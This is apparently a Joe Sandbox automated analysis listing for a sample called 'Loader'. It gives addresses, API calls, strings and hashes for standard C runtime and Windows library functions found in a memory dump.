Opcode Fuzzy Hash: e544c4a4dbc24ec14ce94fc83016c0c1f2f4f70ed44c3fb19887bf148c9d2669
Instruction Fuzzy Hash: E8F0E53A30024657CB149F39DC55B6BBF94EFC2B64B46805DEA058B690C6719D93CB90

Function 002C2F95 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,002BD5E3,?,20001004,00000000,00000002,?,?,002BC4F1), ref: 002C2FC9

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: e95aaa2f0821db22af066cd9b30db7c1ead0eb142901056e466b442b9e560917
Instruction ID: 415f817409a4007c36dc5595b4da553ed9ca94a8f8bf96031c3805a821126a56
Opcode Fuzzy Hash: e95aaa2f0821db22af066cd9b30db7c1ead0eb142901056e466b442b9e560917
Instruction Fuzzy Hash: 59E04F3155025CFBCF126F60EC09FAE7E26EF44750F058629FC0966225CB728930AAD0

Function 002B6493 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000165C0), ref: 002B6498

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 2ada7b8a24eabd9fe605bb41902d9cd5ec93265ff88cdd9758d13e92801b1ca8
Instruction ID: a950f0323f3b79180e7030151fa2dc4af25051a1389243077f032edca89bba4b
Opcode Fuzzy Hash: 2ada7b8a24eabd9fe605bb41902d9cd5ec93265ff88cdd9758d13e92801b1ca8
Instruction Fuzzy Hash:

Function 002C3BC0 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 002C3BC0

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 77b6027be5217759ec218a26f36c8421d439b81b7f1edb9371379c090d648f36
Instruction ID: 373210a2861c66c91b8edafcab2368371fa83e6ea56f3aa354dab3339f3982e1
Opcode Fuzzy Hash: 77b6027be5217759ec218a26f36c8421d439b81b7f1edb9371379c090d648f36
Instruction Fuzzy Hash: D9A002705411C58B9740CF36798D60937D7D645691745446D9445C9160DA3444905F01

Function 002CBD79 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bea1f7e112922de85933917ab521cbb84ef55e32de22e0450d87ab5f1ed1c63
Instruction ID: 2174f4a8264e4d1010aa202de285fffdcdf257c2e5bdd5db1a23fcf3b09c5acf
Opcode Fuzzy Hash: 4bea1f7e112922de85933917ab521cbb84ef55e32de22e0450d87ab5f1ed1c63
Instruction Fuzzy Hash: 9B320522D79F414DD7239638DC26335A349AFB73C5F25D72BE81AB59A5EF29C8834100

Function 002A1BA0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5fb62629c53e2f59617222d619935c38533954f1dde72350560765fc017e03e
Instruction ID: 1662dc7e65d355aa7e699792d1ac182cf2497ab6324f33ee203e2c17a56e69e3
Opcode Fuzzy Hash: f5fb62629c53e2f59617222d619935c38533954f1dde72350560765fc017e03e
Instruction Fuzzy Hash: 82D0923A645A58AFC210CF49E440D42F7BCFB8D670B1540A6EA4897B20C331FC11CAE0

Function 002B7730 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 002B7767
___except_validate_context_record.LIBVCRUNTIME ref: 002B776F
_ValidateLocalCookies.LIBCMT ref: 002B77F8
__IsNonwritableInCurrentImage.LIBCMT ref: 002B7823
_ValidateLocalCookies.LIBCMT ref: 002B7878

Strings

csm, xrefs: 002B780D
pp+, xrefs: 002B7815, 002B781E, 002B782F

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm$pp+
API String ID: 1170836740-1436284427
Opcode ID: 81285870085de87508057a5d377aa5175ff2c300b8503c098a9748c7e7f28b87
Instruction ID: e0d49c20d64b8229da9acb560bbcb5c68309a7b7002a6ae808b4b3200ebb5a3d
Opcode Fuzzy Hash: 81285870085de87508057a5d377aa5175ff2c300b8503c098a9748c7e7f28b87
Instruction Fuzzy Hash: CE41F334E242199BCF10DF68C889ADEBBA5AF84354F148165E8145B392CB71EE25CF91

Function 002D24F2 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(029AFE18,029AFE18,00000000,7FFFFFFF,?,002D24DD,029AFE18,029AFE18,00000000,029AFE18,?,?,?,?,029AFE18,00000000), ref: 002D2598
__alloca_probe_16.LIBCMT ref: 002D2653
__alloca_probe_16.LIBCMT ref: 002D26E2
__freea.LIBCMT ref: 002D272D
__freea.LIBCMT ref: 002D2733
__freea.LIBCMT ref: 002D2769
__freea.LIBCMT ref: 002D276F
__freea.LIBCMT ref: 002D277F

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: ef9b16ad8e623c857c09cb07fd03c3157539e4cf8b8c7676f758123910ba53a7
Instruction ID: 357007e831eaabdfeef1df6828222de11fd713133e563938b13ad40436c9c23d
Opcode Fuzzy Hash: ef9b16ad8e623c857c09cb07fd03c3157539e4cf8b8c7676f758123910ba53a7
Instruction Fuzzy Hash: 44710972D20206DBEF319E648C91FEEB7A9DF65310F14015BEC14A7381DA75DC688BA0

Function 002C5156 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 002C51DC

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 51e6ba9edb6fa758acba511f911d2998b9b0e2e81ebecee1fdc350593847a06f
Instruction ID: 960306a9def21ac69925152e3509815427c3ee6eb79e977470d543b7e1003761
Opcode Fuzzy Hash: 51e6ba9edb6fa758acba511f911d2998b9b0e2e81ebecee1fdc350593847a06f
Instruction Fuzzy Hash: 7DB18C72920A769FDB158F24CC41FAE7BE5EF15340F14435DE904AB282D2B4F9A1CBA0

Function 002C31E2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,83182907,?,002C32F1,00000000,00000000,00000000,00000000), ref: 002C32A3

Strings

api-ms-, xrefs: 002C3239
ext-ms-, xrefs: 002C324D

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 2503fe27a4291bbb70ca70118ab424eff6ce6cfc97399885e4fe279cb8f02e19
Instruction ID: 183e748655444b38fe17f810afcff31fed1cb94187e26b8f9f0295e8f87f44a4
Opcode Fuzzy Hash: 2503fe27a4291bbb70ca70118ab424eff6ce6cfc97399885e4fe279cb8f02e19
Instruction Fuzzy Hash: 3B212B31A51255ABDF21DF25EC88F5E7768EF02760F144B28ED15AB290D770EE20C6D1

Function 002B6A60 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 002B6A66
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 002B6A74
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 002B6A85

Strings

kernel32.dll, xrefs: 002B6A61
GetTempPath2W, xrefs: 002B6A7A
GetSystemTimePreciseAsFileTime, xrefs: 002B6A6E

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 64aa3bf94088d2146a407e543d241479ac0af04c2fc595ac06ababee9721af57
Instruction ID: 309ad000c46263ebd0f7f6ec5ed1f895067efd37c55d5d080c0e25c54c8b3bd6
Opcode Fuzzy Hash: 64aa3bf94088d2146a407e543d241479ac0af04c2fc595ac06ababee9721af57
Instruction Fuzzy Hash: 93D0C7355E12505FE710EFB07D4D8D53BD5EA0AB113068577F445DA350EBB409258B91

Function 002D095C Relevance: 9.3, APIs: 6, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ec00540541a3b1f95641be8ee1eb7e7c8f115cf9f7f5623a6b03f0a794f4567
Instruction ID: 06f34bb924b0074be346da55ebb07338287e056f71b68489547374eaac90becc
Opcode Fuzzy Hash: 6ec00540541a3b1f95641be8ee1eb7e7c8f115cf9f7f5623a6b03f0a794f4567
Instruction Fuzzy Hash: D5B10270E2424AAFDB11DF98D8C1BAD7BB0AF45304F14425BE904AB3A2D7709D61CF65

Function 002C1067 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,002C105E,002B7150,002B388F,83182907,?,?,?,?,002D2FDF,000000FF,?,002A9085), ref: 002C1075
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 002C1083
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 002C109C
SetLastError.KERNEL32(00000000,?,002C105E,002B7150,002B388F,83182907,?,?,?,?,002D2FDF,000000FF,?,002A9085), ref: 002C10EE

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 20f4914e222f03609946f622d685d2b763911f986a62cb140c19a456f7a0f4ec
Instruction ID: f85e7d237785618f6f48cc31393508b78b9bec04ed75ae73722c979faa0500cd
Opcode Fuzzy Hash: 20f4914e222f03609946f622d685d2b763911f986a62cb140c19a456f7a0f4ec
Instruction Fuzzy Hash: 0801B5331782D25EA6242AB57CCEF6B2B94DF177B4720433DF914494F2EE5148B29A80

Function 002C18EE Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 002C1A0D
CallUnexpected.LIBVCRUNTIME ref: 002C1C86

Strings

csm, xrefs: 002C1998
csm, xrefs: 002C192B
csm, xrefs: 002C1A44

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: a30b1c4f209990e8a993ef597e52b0239d95a172aed12ddd52d3c846fc054e5c
Instruction ID: dc02b607f3d6ef807cc06055a1773860b2e4c777e57c0edc427d46cf38836187
Opcode Fuzzy Hash: a30b1c4f209990e8a993ef597e52b0239d95a172aed12ddd52d3c846fc054e5c
Instruction Fuzzy Hash: BBB14A7182020ADFCF28DFA4C882FAEB7B5AF16314B14465EE8156B212D371DA71CF95

Function 002BBD78 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,83182907,?,?,00000000,002D2EA9,000000FF,?,002BBE39,002BBD20,?,002BBED5,00000000), ref: 002BBDAD
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 002BBDBF
FreeLibrary.KERNEL32(00000000,?,?,00000000,002D2EA9,000000FF,?,002BBE39,002BBD20,?,002BBED5,00000000), ref: 002BBDE1

Strings

mscoree.dll, xrefs: 002BBDA6
CorExitProcess, xrefs: 002BBDB7

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 6eeb4a0a0bcb01d8e98071a13463797d2f49d0dcdfd8cfad000a0ba0abd35182
Instruction ID: a441587c1e550c601248271dafc6c5570d384cdb6844b81f6bec1615d2b62caa
Opcode Fuzzy Hash: 6eeb4a0a0bcb01d8e98071a13463797d2f49d0dcdfd8cfad000a0ba0abd35182
Instruction Fuzzy Hash: 4B01A731AA4656EFDB129F54DC49FEEB7B8FB05B51F000126E811A6690DBB49C10CA40

Function 002C39CA Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 002C3A4F
__alloca_probe_16.LIBCMT ref: 002C3B18
__freea.LIBCMT ref: 002C3B7F

Part of subcall function 002C2291: RtlAllocateHeap.NTDLL(00000000,002C4215,?,?,002C4215,00000220,?,?,?), ref: 002C22C3

__freea.LIBCMT ref: 002C3B92
__freea.LIBCMT ref: 002C3B9F

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 5bc8404dd043d38e745665cf31bd25973ed44c6999f62ed10bbf8944f2e1dc11
Instruction ID: 53f8e9f982ede2b954604c707c24ba002291d9fef4bf67a967451c6204d5e0c3
Opcode Fuzzy Hash: 5bc8404dd043d38e745665cf31bd25973ed44c6999f62ed10bbf8944f2e1dc11
Instruction Fuzzy Hash: DF51C372620206AFEB20DE658C89FBB37A9DF44714B158A2DFD04D6101EB70DE70DA60

Function 002B5CE1 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 002B5CF5
AcquireSRWLockExclusive.KERNEL32(?,?,?,002AB43E), ref: 002B5D14
AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,002AB43E), ref: 002B5D42
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,002AB43E), ref: 002B5D9D
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,002AB43E), ref: 002B5DB4

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: 5f418ca06093d389e4efa9baec8fa61acc3be2cb0119e93876fa07fa848bb518
Instruction ID: 7c660e248ee75d04ab382ca12a101d07b6113ecbb5f44e1492461b183dd0a318
Opcode Fuzzy Hash: 5f418ca06093d389e4efa9baec8fa61acc3be2cb0119e93876fa07fa848bb518
Instruction Fuzzy Hash: B8413634520E2BDBCB20CF64C488BEAB3F5FF08390B204A29E4568B540D730E9A5CF50

Function 002B3122 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 002B3129
std::_Lockit::_Lockit.LIBCPMT ref: 002B3134
std::_Lockit::~_Lockit.LIBCPMT ref: 002B31A2

Part of subcall function 002B302A: std::locale::_Locimp::_Locimp.LIBCPMT ref: 002B3042

std::locale::_Setgloballocale.LIBCPMT ref: 002B314F
_Yarn.LIBCPMT ref: 002B3165

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 2524330b47e9b8b9e9a887726a58588bc07c8b9b02871872aeba6996ba877244
Instruction ID: 495b9ae747b9c689961cfaacbca3d47534ee98a070126b07f6a86fba48795dd7
Opcode Fuzzy Hash: 2524330b47e9b8b9e9a887726a58588bc07c8b9b02871872aeba6996ba877244
Instruction Fuzzy Hash: D501BC31A60251DBCB06EF24E8895BC77B5FF94390B140049E8121B381CF386E66CB81

Function 002C6C16 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 002C24EA: GetLastError.KERNEL32(00000000,?,002C486D), ref: 002C24EE
Part of subcall function 002C24EA: SetLastError.KERNEL32(00000000,?,?,00000028,002BEB13), ref: 002C2590

